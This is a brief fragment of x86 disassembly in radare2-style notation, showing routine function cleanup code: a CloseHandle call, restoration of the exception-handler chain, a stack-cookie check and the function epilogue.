push edx
mov ecx, dword [ebp + 0xc]
call fcn.00402660
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x268]
call fcn.00402df0
jmp 0x4358d2
xor eax, eax
jmp 0x4358e7
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
add ecx, 4
call fcn.004026a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret